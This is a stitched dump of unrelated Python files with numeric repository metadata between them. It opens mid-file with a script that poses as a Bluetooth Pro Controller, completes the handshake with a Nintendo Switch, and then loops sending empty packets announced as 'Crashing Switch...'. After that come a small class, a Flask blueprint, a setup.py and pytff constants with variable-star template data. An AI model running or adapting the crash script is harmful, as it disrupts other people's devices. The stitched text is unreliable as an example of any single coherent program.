ENABLE_VIBRATION = b'\xA1\x21\xDD\x40\x00\x00\x00\x0F\x18\x76\x43\x87\x73\x09\x80\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SET_NFC_IR = b'\xA1\x21\x13\x40\x00\x00\x00\x0E\x08\x76\x45\x77\x73\x00\xA0\x21\x01\x00\xFF\x00\x03\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5C'
SET_PLAYER_LIGHTS = b'\xA1\x21\x35\x40\x00\x00\x00\x10\x08\x76\x43\x67\x73\x0B\x80\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
IDLE_PACKET = b'\xA1\x30\xBA\x40\x00\x00\x00\x0F\xD8\x75\x43\x97\x73\x09\xD5\xFA\x3C\xFC\xCD\x0E\x19\x00\xE1\xFF\xDD\xFF\xCD\xFA\x3A\xFC\xCE\x0E\x18\x00\xDF\xFF\xDB\xFF\xCA\xFA\x3C\xFC\xD3\x0E\x19\x00\xDD\xFF\xDB\xFF'
COMMANDS = [
REQUEST_INFO,
SET_SHIPMENT,
SERIAL_NUMBER,
COLOURS,
INPUT_MODE,
TRIGGER_BUTTONS,
FACTORY_PARAMS,
FACTORY_PARAMS_2,
USER_CAL,
FACTORY_CAL,
SIX_AXIS_CAL,
ENABLE_IMU,
ENABLE_VIBRATION,
SET_NFC_IR,
]
def format_message(data, split, name):
"""Formats a given byte message in hex format split
into payload and subcommand sections.
:param data: A series of bytes
:type data: bytes
:param split: The location of the payload/subcommand split
:type split: integer
:param name: The name featured in the start/end messages
:type name: string
:return: The formatted data
:rtype: string
"""
payload = ""
subcommand = ""
for i in range(0, len(data)):
data_byte = str(hex(data[i]))[2:].upper()
if len(data_byte) < 2:
data_byte = "0" + data_byte
if i <= split:
payload += "0x" + data_byte + " "
else:
subcommand += "0x" + data_byte + " "
formatted = (
f"--- {name} Msg ---\n" +
f"Payload: {payload}\n" +
f"Subcommand: {subcommand}")
return formatted
def print_msg_controller(data):
"""Prints a formatted message from a controller
:param data: The bytes from the controller message
:type data: bytes
"""
print(format_message(data, 13, "Controller"))
def print_msg_switch(data):
"""Prints a formatted message from a Switch
:param data: The bytes from the Switch message
:type data: bytes
"""
print(format_message(data, 10, "Switch"))
if __name__ == "__main__":
port_ctrl = 17
port_itr = 19
toggle_input_plugin(False)
bt = BlueZ(adapter_path="/org/bluez/hci0")
controller = Controller(bt, PRO_CONTROLLER)
controller.setup()
# Switch sockets
switch_itr = socket.socket(family=socket.AF_BLUETOOTH,
type=socket.SOCK_SEQPACKET,
proto=socket.BTPROTO_L2CAP)
switch_ctrl = socket.socket(family=socket.AF_BLUETOOTH,
type=socket.SOCK_SEQPACKET,
proto=socket.BTPROTO_L2CAP)
try:
switch_ctrl.bind((bt.address, port_ctrl))
switch_itr.bind((bt.address, port_itr))
# bt.set_alias("Joy-Con (L)")
bt.set_alias("Pro Controller")
bt.set_discoverable(True)
print("Waiting for Switch to connect...")
switch_itr.listen(1)
switch_ctrl.listen(1)
client_control, control_address = switch_ctrl.accept()
print("Got Switch Control Client Connection")
client_interrupt, interrupt_address = switch_itr.accept()
print("Got Switch Interrupt Client Connection")
# Creating a non-blocking client interrupt connection
fcntl.fcntl(client_interrupt, fcntl.F_SETFL, os.O_NONBLOCK)
print("Connecting to Switch...")
while True:
try:
reply = client_interrupt.recv(350)
# print_msg_switch(reply)
except BlockingIOError:
reply = None
if reply and len(reply) > 40:
client_interrupt.sendall(COMMANDS.pop(0))
else:
client_interrupt.sendall(IDLE_PACKET)
if len(COMMANDS) == 0:
break
time.sleep(1/15)
print("Crashing Switch...")
while True:
try:
reply = client_interrupt.recv(350)
except BlockingIOError:
reply = None
client_interrupt.sendall(b'')
time.sleep(1/15)
except KeyboardInterrupt:
print("Closing sockets")
switch_itr.close()
switch_ctrl.close()
try:
sys.exit(1)
except SystemExit:
os._exit(1)
except OSError as e:
print("Closing sockets")
switch_itr.close()
switch_ctrl.close()
raise e
finally:
toggle_input_plugin(True)
| 39.244541
| 223
| 0.651497
| 1,494
| 8,987
| 3.848059
| 0.242303
| 0.351713
| 0.46495
| 0.55314
| 0.365977
| 0.345104
| 0.327709
| 0.279179
| 0.264568
| 0.232214
| 0
| 0.187349
| 0.17147
| 8,987
| 228
| 224
| 39.416667
| 0.584743
| 0.213753
| 0
| 0.211382
| 0
| 0.130081
| 0.50251
| 0.458913
| 0
| 0
| 0
| 0
| 0
| 1
| 0.02439
| false
| 0
| 0.073171
| 0
| 0.105691
| 0.089431
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
48832317c72e3972502f142a2b6e446a454a0897
| 299
|
py
|
Python
|
swiss_snow/Lift.py
|
abibouba/swiss-snow
|
82848cc7c87394d9fe436aeac356edb9715ad3da
|
[
"Apache-2.0"
] | null | null | null |
swiss_snow/Lift.py
|
abibouba/swiss-snow
|
82848cc7c87394d9fe436aeac356edb9715ad3da
|
[
"Apache-2.0"
] | null | null | null |
swiss_snow/Lift.py
|
abibouba/swiss-snow
|
82848cc7c87394d9fe436aeac356edb9715ad3da
|
[
"Apache-2.0"
] | null | null | null |
class Lift:
def __init__(self, name, lift_type, status, sector):
self.name = name
self.lift_type = lift_type
self.status = status
self.sector = sector
def __str__(self):
return self.name + " " + self.lift_type + " " + self.status + " " + self.sector
| 29.9
| 87
| 0.588629
| 37
| 299
| 4.432432
| 0.297297
| 0.195122
| 0.146341
| 0.195122
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.294314
| 299
| 9
| 88
| 33.222222
| 0.777251
| 0
| 0
| 0
| 0
| 0
| 0.010033
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0.125
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
6f9a70e01609adec23bf09b9e54bbc8842d2d97a
| 763
|
py
|
Python
|
flexio/blueprints/core/views.py
|
nushkovg/flexio
|
a4886b0fc69cae89eaf5987654158f399675bd51
|
[
"Unlicense"
] | 1
|
2021-05-24T12:56:27.000Z
|
2021-05-24T12:56:27.000Z
|
flexio/blueprints/core/views.py
|
nushkovg/flexio
|
a4886b0fc69cae89eaf5987654158f399675bd51
|
[
"Unlicense"
] | null | null | null |
flexio/blueprints/core/views.py
|
nushkovg/flexio
|
a4886b0fc69cae89eaf5987654158f399675bd51
|
[
"Unlicense"
] | null | null | null |
from flask import Blueprint, render_template, request
from flexio.blueprints.user.models import Unit
core = Blueprint('core', __name__, template_folder='templates')
@core.route('/')
def home():
page = request.args.get('page', 1, type=int)
blog_units = Unit.query.order_by(Unit.date.desc()).paginate(page=page,
per_page=10)
return render_template('core/home.html', blog_units=blog_units)
@core.route('/privacy')
def privacy():
return render_template('core/privacy.html')
@core.route('/terms-of-service')
def terms():
return render_template('core/terms.html')
@core.route('/about')
def about():
return render_template('core/about.html')
| 25.433333
| 77
| 0.631717
| 93
| 763
| 5.021505
| 0.451613
| 0.149893
| 0.171306
| 0.205567
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005085
| 0.226737
| 763
| 29
| 78
| 26.310345
| 0.786441
| 0
| 0
| 0
| 0
| 0
| 0.149864
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.111111
| 0.166667
| 0.555556
| 0.166667
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
6fc1279169dd65130da7291f871d6c5853d24842
| 665
|
py
|
Python
|
setup.py
|
faineance/inlineasm
|
496a441c8e2ae7b90e610c97d8b932f0052b6cbf
|
[
"MIT"
] | 2
|
2016-04-19T16:00:57.000Z
|
2020-04-15T21:43:01.000Z
|
setup.py
|
faineance/inlineasm
|
496a441c8e2ae7b90e610c97d8b932f0052b6cbf
|
[
"MIT"
] | 1
|
2020-04-15T21:46:01.000Z
|
2020-04-20T10:57:22.000Z
|
setup.py
|
faineance/inlineasm
|
496a441c8e2ae7b90e610c97d8b932f0052b6cbf
|
[
"MIT"
] | null | null | null |
from distutils.core import setup
setup(
name='inlineasm',
version='0.0.3',
description='inlineasm',
url='https://github.com/faineance/inlineasm',
author='faineance',
author_email='faineance@users.noreply.github.com',
license='MIT',
classifiers=[
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
],
packages=['inlineasm'],
)
| 21.451613
| 54
| 0.592481
| 67
| 665
| 5.865672
| 0.492537
| 0.290076
| 0.381679
| 0.264631
| 0.137405
| 0
| 0
| 0
| 0
| 0
| 0
| 0.026
| 0.24812
| 665
| 30
| 55
| 22.166667
| 0.76
| 0
| 0
| 0
| 0
| 0
| 0.559399
| 0.051128
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.05
| 0
| 0.05
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6fc99554b6407c1dee8bb4a1dd3dc4d0decd4c2e
| 83
|
py
|
Python
|
mmdet/ops/roi_align/__init__.py
|
witnessai/GRAN
|
952c2b08a58f3b0087f0f18fd48f8e385e45908b
|
[
"Apache-2.0"
] | 59
|
2020-02-05T05:41:53.000Z
|
2022-02-15T08:04:11.000Z
|
mmdet/ops/roi_align/__init__.py
|
witnessai/GRAN
|
952c2b08a58f3b0087f0f18fd48f8e385e45908b
|
[
"Apache-2.0"
] | 8
|
2020-03-11T11:15:17.000Z
|
2021-03-30T06:09:01.000Z
|
mmdet/ops/roi_align/__init__.py
|
witnessai/GRAN
|
952c2b08a58f3b0087f0f18fd48f8e385e45908b
|
[
"Apache-2.0"
] | 13
|
2020-02-26T01:46:44.000Z
|
2022-02-02T14:05:48.000Z
|
from .roi_align import RoIAlign, roi_align
__all__ = ['roi_align', 'RoIAlign']
| 20.75
| 43
| 0.722892
| 11
| 83
| 4.818182
| 0.545455
| 0.45283
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.156627
| 83
| 3
| 44
| 27.666667
| 0.757143
| 0
| 0
| 0
| 0
| 0
| 0.2125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
6fe973ccd141eb4440681a241ba30e13c1811843
| 77,406
|
py
|
Python
|
pytff/constants.py
|
carpyncho/pytff
|
0051b46db828b085a76b2595f126105b0f55784d
|
[
"BSD-3-Clause"
] | null | null | null |
pytff/constants.py
|
carpyncho/pytff
|
0051b46db828b085a76b2595f126105b0f55784d
|
[
"BSD-3-Clause"
] | null | null | null |
pytff/constants.py
|
carpyncho/pytff
|
0051b46db828b085a76b2595f126105b0f55784d
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# License: 3 Clause BSD
# Part of Carpyncho - http://carpyncho.jbcabral.org
# =============================================================================
# DOCS
# =============================================================================
"""Constants for tff wrapper
"""
# =============================================================================
# IMPORTS
# =============================================================================
import sys
import os
from six.moves import configparser
# =============================================================================
# CONSTANTS
# =============================================================================
IS_WINDOWS = sys.platform.startswith("win")
PRJ = "pytff"
HOME_PATH = os.path.expanduser("~")
APPDATA_PATH = os.getenv("APPDATA", HOME_PATH) if IS_WINDOWS else HOME_PATH
CONF_DIR_PATH = (
os.path.join(APPDATA_PATH, PRJ)
if IS_WINDOWS else os.path.join(APPDATA_PATH, ".config", PRJ))
CONF_FILE_PATH = os.path.join(CONF_DIR_PATH, "pytff.rc")
DEFAULTS = {
"tff_cmd": "tff",
"wrk_path": None,
"fmt": "%.5f"
}
# ============================================================================
# READ CONFIGURATION
# =============================================================================
if not os.path.isfile(CONF_FILE_PATH):
if not os.path.exists(CONF_DIR_PATH):
os.makedirs(CONF_DIR_PATH)
with open(CONF_FILE_PATH, "wb") as fp:
config = configparser.RawConfigParser()
config.add_section(PRJ)
for k, v in DEFAULTS.items():
v = "" if v is None else v
config.set(PRJ, k, v)
config.write(fp)
config = configparser.RawConfigParser()
config.read(CONF_FILE_PATH)
config = dict(list(DEFAULTS.items()) + list(config.items(PRJ)))
# =============================================================================
# CONSTANTS
# =============================================================================
FMT = config["fmt"]
TFF_CMD = config["tff_cmd"]
WRK_PATH = config["wrk_path"]
LIS_FNAME = "target.lis"
TEMPLATE_FNAME = "template.dat"
PAR_FNAME = "tff.par"
TFF_DAT_FNAME = "tff.dat"
DFF_DAT_FNAME = "dff.dat"
MATCH_DAT_FNAME = "match.dat"
TFF_PAR_TEMPLATE = """
*
***************************************************************
* This is the input parameter file for code 'tff' *
* Please check the source for the meaning of the parameters. *
* For changing parameters please use space only between *
* columns 11-20. No exponential format please. Do not delete *
* or add any lines. Comments can be added from column 22-80. *
***************************************************************
*
ntbin = {ntbin}
nmin = {nmin}
mindp = {mindp}
snr1min = {snr1min}
nmatch = {nmatch}
dph = {dph}
asig = {asig}
jfit = {jfit}
""".rstrip()
TARGET_LIS_LINE_TEMPLATE = """
{src_id}
{period}
{target_path}
""".strip()
TEMPLATE_DAT_SRC = """
IU Car
0.7371495000 0.0000 11.990 162 0.0170
0.3639 4.2181 0.1674 4.6741 0.1010 5.1667 0.0684 5.9815 0.0432 0.5701
0.0220 1.2653 0.0097 1.8669 0.0046 2.9456 0.0026 3.4787 0.0023 5.2378
0.0015 4.5339 0.0023 5.3795 0.0025 1.5850 0.0010 2.0312 0.0011 2.5335
TZ Aur
0.3916739000 0.0000 11.947 117 0.0234
0.4508 4.6153 0.2519 5.4445 0.1478 0.3263 0.1005 1.4624 0.0673 2.5694
0.0473 3.6291 0.0332 4.6664 0.0241 5.7161 0.0168 0.4629 0.0134 1.3722
0.0098 2.3182 0.0090 3.3463 0.0067 4.6048 0.0048 5.5869 0.0016 6.2297
V341 Aql
0.5780205400 0.0000 10.939 530 0.0204
0.4230 2.2937 0.2276 0.7027 0.1351 5.6723 0.0989 4.5168 0.0501 3.3801
0.0355 1.7553 0.0272 0.4555 0.0178 5.6574 0.0082 4.0529 0.0072 2.5405
0.0029 1.1927 0.0019 5.6800 0.0009 2.2918 0.0024 0.7950 0.0025 0.6623
SW And
0.4422659020 0.0000 9.730 462 0.0091
0.3218 0.0179 0.1803 2.6140 0.1057 5.4850 0.0590 2.0787 0.0336 4.7398
0.0203 1.2538 0.0115 4.2029 0.0059 0.8333 0.0025 4.5324 0.0026 1.9495
0.0033 5.5635 0.0044 1.9820 0.0058 4.6203 0.0051 0.7701 0.0044 3.6286
XX And
0.7227526000 0.0000 10.739 75 0.0155
0.3358 1.6476 0.1720 5.9663 0.1134 4.0763 0.0617 2.5336 0.0327 0.7637
0.0169 5.0608 0.0091 2.8171 0.0064 0.6308 0.0047 4.9410 0.0030 3.1810
0.0012 1.7614 0.0006 1.7596 0.0013 0.5223 0.0011 5.6820 0.0012 4.6372
WY Ant
0.5743365000 0.0000 10.892 340 0.0184
0.3241 2.9349 0.1425 1.9110 0.1110 1.1494 0.0745 0.5286 0.0427 0.0012
0.0240 5.7267 0.0096 5.0062 0.0071 4.5184 0.0032 4.3242 0.0039 4.4465
0.0043 4.1754 0.0048 3.5231 0.0061 3.0121 0.0056 2.3907 0.0050 1.7239
SW Aqr
0.4593029000 0.0000 11.294 147 0.0180
0.4646 1.8951 0.2167 6.0193 0.1610 4.1492 0.0980 2.3481 0.0737 0.5435
0.0523 5.1398 0.0351 3.3187 0.0198 1.3537 0.0194 5.7091 0.0167 4.0255
0.0118 2.3529 0.0080 0.6458 0.0050 5.6980 0.0048 2.3401 0.0009 0.6272
SX Aqr
0.5357132700 0.0000 11.861 329 0.0394
0.4046 0.3381 0.1709 2.9299 0.1424 5.7229 0.0942 2.4395 0.0641 5.4375
0.0446 2.1401 0.0315 5.1106 0.0223 1.7783 0.0158 4.7087 0.0112 1.3322
0.0079 4.2322 0.0057 0.8642 0.0040 3.8251 0.0028 0.6184 0.0020 3.8915
BO Aqr
0.6940186000 0.0000 12.228 142 0.0246
0.3629 2.1503 0.1892 0.5791 0.1208 5.4832 0.0708 4.2925 0.0409 2.9604
0.0235 1.5356 0.0135 0.0716 0.0075 4.9357 0.0035 3.9847 0.0030 3.4215
0.0037 2.5902 0.0042 1.4446 0.0040 0.2106 0.0032 5.2665 0.0019 4.0501
BR Aqr
0.4818785000 0.0000 11.499 166 0.0251
0.3767 3.4168 0.2000 2.9576 0.1368 2.8274 0.0902 2.7881 0.0588 2.7009
0.0372 2.5766 0.0228 2.4117 0.0133 2.1867 0.0075 1.8836 0.0042 1.5347
0.0023 1.1834 0.0007 0.8682 0.0007 3.6934 0.0021 3.6419 0.0032 3.6772
CP Aqr
0.4634070000 0.0000 11.862 118 0.0176
0.4309 4.3768 0.2419 4.8695 0.1396 5.6786 0.0973 0.3645 0.0588 1.1697
0.0398 1.8609 0.0305 2.5665 0.0237 3.3317 0.0171 4.1567 0.0111 5.0192
0.0063 5.8313 0.0026 0.0970 0.0013 5.7409 0.0023 5.9404 0.0029 0.4238
DN Aqr
0.6337525000 0.0000 11.259 259 0.0196
0.2696 1.7357 0.1306 6.0260 0.0830 4.1885 0.0508 2.6352 0.0259 1.0924
0.0137 5.9332 0.0090 4.5931 0.0077 3.1766 0.0072 1.6377 0.0068 0.0140
0.0060 4.6479 0.0054 3.0446 0.0045 1.2847 0.0034 5.9128 0.0023 4.2552
AA Aql
0.3617869000 0.0000 11.905 126 0.0221
0.4326 6.2224 0.2362 2.1826 0.1520 4.8245 0.1041 1.0346 0.0651 3.6109
0.0463 6.1234 0.0362 2.3476 0.0284 4.8999 0.0218 1.1862 0.0161 3.7262
0.0112 6.2617 0.0078 2.4641 0.0051 4.8649 0.0032 0.9447 0.0022 3.0772
X Ari
0.6511597300 0.0000 9.597 711 0.0151
0.3391 6.1530 0.1627 2.0577 0.1228 4.5886 0.0792 0.8771 0.0480 3.5468
0.0229 6.0712 0.0152 2.0778 0.0120 4.6602 0.0083 1.2888 0.0052 4.2567
0.0028 1.1771 0.0025 4.4463 0.0022 0.6330 0.0018 2.5619 0.0029 5.5274
V Cae
0.5709160000 0.0000 12.933 87 0.0109
0.3694 3.8533 0.1747 3.7338 0.1323 3.9218 0.0872 4.1363 0.0587 4.4297
0.0354 4.6317 0.0194 4.9048 0.0160 5.0178 0.0105 5.2535 0.0064 5.5144
0.0024 0.0322 0.0026 0.5775 0.0017 1.4936 0.0028 2.3144 0.0024 2.8433
W CVn
0.5517601200 0.0000 10.577 399 0.0236
0.3001 2.4078 0.1504 1.1264 0.0903 6.2183 0.0588 5.2673 0.0356 4.2152
0.0192 3.1723 0.0085 2.3091 0.0043 2.2298 0.0056 1.7469 0.0066 0.8430
0.0066 6.0475 0.0059 4.9129 0.0047 3.7558 0.0037 2.5594 0.0027 1.3366
V499 Cen
0.5212100000 0.0000 11.170 202 0.0145
0.4243 1.8943 0.1917 6.0656 0.1455 4.1908 0.0997 2.4059 0.0679 0.6998
0.0498 5.2603 0.0312 3.4902 0.0188 1.3753 0.0124 5.9830 0.0150 4.1069
0.0069 2.7368 0.0053 1.3423 0.0071 5.6637 0.0014 5.2859 0.0034 2.5805
RR Cet
0.5530287700 0.0000 9.747 742 0.0116
0.3193 1.6025 0.1558 5.5675 0.1112 3.6169 0.0708 1.6885 0.0408 6.1338
0.0201 4.1837 0.0109 2.1168 0.0062 0.5691 0.0045 5.6257 0.0038 4.4387
0.0030 2.7196 0.0053 0.9121 0.0056 5.1591 0.0054 3.2516 0.0052 1.3100
RX Cet
0.5736870000 0.0000 11.469 71 0.0140
0.2890 5.7467 0.1428 1.2742 0.1011 3.4548 0.0648 5.7120 0.0347 1.8077
0.0158 3.8873 0.0080 5.8833 0.0051 2.0270 0.0030 5.5064 0.0041 2.2538
0.0034 4.9283 0.0024 0.8995 0.0012 2.9899 0.0015 4.7633 0.0012 1.1894
RZ Cet
0.5106085000 0.0000 11.860 162 0.0281
0.3526 4.3388 0.1679 4.8548 0.1045 5.3734 0.0520 6.2061 0.0303 0.4993
0.0192 1.0343 0.0130 1.5921 0.0092 2.2013 0.0065 2.8849 0.0049 3.6922
0.0035 4.5381 0.0024 5.4166 0.0016 6.2709 0.0007 0.7872 0.0005 1.1020
S Com
0.5866133000 0.0000 11.707 106 0.0184
0.4371 3.0290 0.2159 2.0491 0.1409 1.4724 0.0956 0.8453 0.0643 0.2644
0.0427 5.9563 0.0281 5.3263 0.0187 4.6452 0.0130 3.9316 0.0095 3.2416
0.0070 2.6296 0.0049 2.1414 0.0031 1.8481 0.0021 1.9099 0.0021 2.1056
V413 CrA
0.5895000000 0.0000 10.624 165 0.0129
0.2536 2.3487 0.1149 0.9771 0.0708 6.1224 0.0356 5.1624 0.0147 4.1869
0.0049 3.6004 0.0043 3.6783 0.0055 2.8756 0.0058 1.8023 0.0055 0.6551
0.0051 5.7528 0.0045 4.4925 0.0039 3.2801 0.0034 2.0681 0.0030 0.8739
W Crt
0.4120138500 0.0000 11.626 379 0.0316
0.4360 5.2593 0.2438 0.3180 0.1448 2.0579 0.1044 3.6485 0.0641 5.4914
0.0412 0.6722 0.0325 2.3428 0.0216 4.0609 0.0139 5.5799 0.0112 0.8422
0.0082 2.5232 0.0064 4.0105 0.0052 5.3275 0.0018 0.7163 0.0013 4.1681
DX Del
0.4726181800 0.0000 9.954 802 0.0098
0.2563 2.1537 0.1268 0.6213 0.0730 5.7045 0.0323 4.4505 0.0161 3.1502
0.0065 2.3394 0.0061 1.8884 0.0055 1.2153 0.0079 6.2310 0.0072 4.7936
0.0046 3.4187 0.0053 2.1910 0.0033 1.0847 0.0038 5.9815 0.0023 4.5609
SU Dra
0.6604200200 0.0000 9.829 85 0.0092
0.3364 4.2124 0.1795 4.5242 0.1104 5.2685 0.0673 5.9899 0.0380 0.3820
0.0228 0.7372 0.0158 1.6038 0.0080 2.7468 0.0046 3.4356 0.0063 5.0070
0.0022 0.3463 0.0044 0.5803 0.0051 1.0914 0.0035 1.8178 0.0053 2.5397
SW Dra
0.5696710000 0.0000 10.526 159 0.0051
0.3163 0.1660 0.1650 2.8345 0.1062 5.7911 0.0670 2.5993 0.0326 5.5939
0.0182 2.0451 0.0087 5.2725 0.0059 2.5288 0.0036 6.0669 0.0035 3.3938
0.0051 0.1399 0.0046 3.2072 0.0050 6.2321 0.0042 2.8419 0.0041 5.8158
BK Dra
0.5920785000 0.0000 11.254 334 0.0159
0.4205 4.1433 0.1943 4.2705 0.1551 4.7695 0.0935 5.2943 0.0722 5.8614
0.0403 0.2523 0.0276 0.4414 0.0224 0.9825 0.0188 1.3817 0.0145 1.9202
0.0094 2.3184 0.0033 2.4769 0.0036 4.7462 0.0017 3.9515 0.0010 5.4905
BT Dra
0.5883063800 0.0000 11.649 269 0.0160
0.2850 1.6987 0.1365 5.9038 0.0844 4.0530 0.0495 2.3912 0.0254 0.6324
0.0103 5.1601 0.0029 3.8778 0.0028 3.6909 0.0042 2.0745 0.0043 0.2287
0.0035 4.6258 0.0026 2.7847 0.0019 0.8466 0.0013 5.4025 0.0012 3.8025
RX Eri
0.5872475100 0.0000 9.704 239 0.0092
0.3101 3.0822 0.1618 2.3907 0.1016 1.9453 0.0618 1.6354 0.0330 1.2279
0.0172 0.7963 0.0094 0.6025 0.0042 0.6775 0.0046 0.8495 0.0060 0.8416
0.0064 0.6589 0.0060 0.6077 0.0061 0.1088 0.0045 5.7978 0.0043 5.4715
SV Eri
0.7137980000 0.0000 9.979 337 0.0103
0.2890 4.5660 0.0819 5.4245 0.0376 0.1322 0.0090 1.5412 0.0034 1.9983
0.0010 4.5724 0.0017 0.4681 0.0009 3.9087 0.0021 3.0631 0.0012 6.0695
0.0013 0.6198 0.0011 0.6642 0.0029 2.9634 0.0013 1.1391 0.0017 0.3271
RR Gem
0.3973081580 0.0000 11.416 91 0.0135
0.3996 0.8650 0.2264 4.1763 0.1363 1.4895 0.0906 5.1487 0.0545 2.3904
0.0350 5.8430 0.0247 3.0086 0.0184 0.2125 0.0137 3.7354 0.0100 0.9864
0.0070 4.4996 0.0048 1.6681 0.0033 5.0172 0.0026 1.9987 0.0023 5.3008
UW Gru
0.5482104000 0.0000 13.267 138 0.0176
0.3597 3.8802 0.1644 3.7090 0.1188 3.9210 0.0795 4.2872 0.0539 4.5028
0.0333 4.9793 0.0169 4.9721 0.0126 5.2131 0.0078 5.6690 0.0063 0.1926
0.0025 1.4016 0.0048 1.7047 0.0031 2.2913 0.0043 2.9849 0.0057 2.9357
TW Her
0.3995999100 0.0000 11.320 142 0.0210
0.4278 3.6259 0.2401 3.3574 0.1557 3.4849 0.1006 3.4596 0.0666 3.5785
0.0480 3.5841 0.0346 3.5580 0.0252 3.6010 0.0176 3.5184 0.0126 3.4037
0.0093 3.3514 0.0070 3.1220 0.0052 2.8964 0.0043 2.8848 0.0046 2.5091
VX Her
0.4553728000 0.0000 10.783 149 0.0148
0.4572 5.0402 0.2102 6.0409 0.1624 1.0168 0.1044 2.3820 0.0709 3.7406
0.0546 5.1825 0.0313 0.3675 0.0219 1.7277 0.0135 2.7505 0.0121 3.8117
0.0081 5.1948 0.0063 6.0596 0.0054 1.1453 0.0031 2.4556 0.0032 3.7161
VZ Her
0.4403277300 0.0000 11.567 327 0.0317
0.4604 4.5273 0.2399 4.9695 0.1450 5.8282 0.0975 0.4228 0.0684 1.2975
0.0489 2.1656 0.0354 3.0204 0.0256 3.8579 0.0183 4.6798 0.0131 5.4955
0.0094 0.0189 0.0066 0.8036 0.0045 1.5747 0.0028 2.3264 0.0017 2.9967
SV Hya
0.4786390000 0.0000 10.599 191 0.0191
0.4518 1.7448 0.2213 5.6977 0.1335 3.5946 0.0815 1.7262 0.0435 5.8667
0.0215 3.5739 0.0136 1.0417 0.0127 4.9843 0.0113 2.8882 0.0089 0.9305
0.0063 5.2077 0.0043 3.0149 0.0033 0.7789 0.0035 4.9700 0.0033 3.0682
DH Hya
0.4889980000 0.0000 12.226 143 0.0241
0.4283 1.6924 0.1897 5.5669 0.1525 3.4245 0.1102 1.3856 0.0783 5.6782
0.0486 3.5353 0.0279 1.3784 0.0218 5.6655 0.0186 3.7136 0.0085 1.7262
0.0069 5.4500 0.0068 3.6744 0.0052 2.0404 0.0024 5.5621 0.0032 4.2018
FY Hya
0.6366510000 0.0000 12.628 259 0.0393
0.3906 5.3871 0.1639 0.5476 0.1324 2.1550 0.0843 3.7098 0.0684 5.5559
0.0385 1.3448 0.0173 2.7669 0.0202 4.2596 0.0185 0.1878 0.0110 2.5929
0.0034 4.9604 0.0021 5.1473 0.0042 1.0244 0.0028 3.3669 0.0006 3.2887
RR Leo
0.4523926000 0.0000 10.806 126 0.0136
0.4600 2.8752 0.2207 1.7047 0.1617 0.8701 0.0997 0.0992 0.0698 5.5382
0.0518 4.8209 0.0298 4.0668 0.0178 2.9388 0.0171 2.1004 0.0136 1.4922
0.0119 0.5652 0.0041 6.2725 0.0026 4.7568 0.0026 4.2555 0.0005 5.4127
SS Leo
0.6263438000 0.0000 11.097 562 0.0202
0.3860 5.0074 0.1999 6.1258 0.1284 1.3020 0.0915 2.7623 0.0532 4.3427
0.0262 5.6082 0.0160 0.4550 0.0133 2.2719 0.0049 4.1816 0.0007 3.9573
0.0008 3.8446 0.0022 5.3350 0.0050 0.5395 0.0055 1.0651 0.0028 3.2725
ST Leo
0.4779843000 0.0000 11.578 389 0.0246
0.4339 0.8526 0.2150 4.0037 0.1553 1.2178 0.1037 4.7200 0.0700 1.9768
0.0473 5.5123 0.0316 2.7462 0.0211 6.2079 0.0142 3.3152 0.0101 0.3538
0.0077 3.6789 0.0063 0.7923 0.0051 4.2743 0.0038 1.6257 0.0027 5.3739
TV Leo
0.6728430000 0.0000 12.166 184 0.0295
0.4096 3.0629 0.2034 2.2176 0.1388 1.6926 0.0906 1.2423 0.0570 0.7597
0.0341 0.2370 0.0194 5.9023 0.0104 5.1737 0.0057 4.3083 0.0028 3.3162
